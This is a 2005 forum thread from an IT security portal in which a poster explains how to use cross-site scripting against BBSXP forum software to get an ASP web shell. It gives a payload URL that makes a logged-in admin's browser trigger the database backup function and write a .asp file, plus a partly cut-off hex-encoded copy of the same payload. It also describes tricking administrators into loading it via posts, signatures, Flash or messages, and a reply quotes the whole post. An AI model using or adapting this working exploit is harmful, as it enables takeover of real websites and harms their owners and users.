Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 536
Members: 0
Total: 536
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Use XSS To Get Aspshell
Post new topic  Reply to topic View previous topic :: View next topic 
Use XSS To Get Aspshell
PostPosted: Tue Nov 01, 2005 7:39 am Reply with quote
linzi
Beginner
Beginner
 
Joined: Nov 01, 2005
Posts: 4




hey all... I come from china n this is my frist time to wirte article in
english,so forgive my english.
i hope this page can help u.

so far as i know there r many forums hv function about add admin n backup database.

For the XSS exploitation,I think we can be a admin first.

we should know if we were admin n what we can do.

maybe we can add an admin account or backup database.

ok,go n hv a look about my test:

Eg:http://127.0.0.1/bbsxp/page2.asp?username=<script>alert('test')</script>

if we were admin n we hv login,we can add an administrator.

test code:

http://127.0.0.1/bbsxp/page2.asp?username=<body onload="javascript:document.forms[0].submit()"><form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"><input value="database/bbsxp.mdb" name="yl" ><input value="database/shit.asp" name="bf" ></body></html>

if admin access above code,it will creat a new file in database/shit.asp by function of backup data.

we also can use encode:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68

how to use it?

we can inject above code into a flash,and post a new topic n spoof admin

to visit it.

many forums can use signature.we can use it too.

or send a message to admin and so on with that code.

my msn:linzihk@hotmail.com
View user's profile Send private message Visit poster's website MSN Messenger
Re: Use XSS To Get Aspshell
PostPosted: Wed May 17, 2006 1:25 am Reply with quote
trace
Regular user
Regular user
 
Joined: May 17, 2006
Posts: 8




linzi wrote:
hey all... I come from china n this is my frist time to wirte article in
english,so forgive my english.
i hope this page can help u.

so far as i know there r many forums hv function about add admin n backup database.

For the XSS exploitation,I think we can be a admin first.

we should know if we were admin n what we can do.

maybe we can add an admin account or backup database.

ok,go n hv a look about my test:

Eg:http://127.0.0.1/bbsxp/page2.asp?username=<script>alert('test')</script>

if we were admin n we hv login,we can add an administrator.

test code:

http://127.0.0.1/bbsxp/page2.asp?username=<body onload="javascript:document.forms[0].submit()"><form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"><input value="database/bbsxp.mdb" name="yl" ><input value="database/shit.asp" name="bf" ></body></html>

if admin access above code,it will creat a new file in database/shit.asp by function of backup data.

we also can use encode:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68

how to use it?

we can inject above code into a flash,and post a new topic n spoof admin

to visit it.

many forums can use signature.we can use it too.

or send a message to admin and so on with that code.

my msn:linzihk@hotmail.com


Hi,guy ..
I come from China,too
I know that you are belong to the B.C.T.
View user's profile Send private message Visit poster's website MSN Messenger
Use XSS To Get Aspshell
  www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.147 Seconds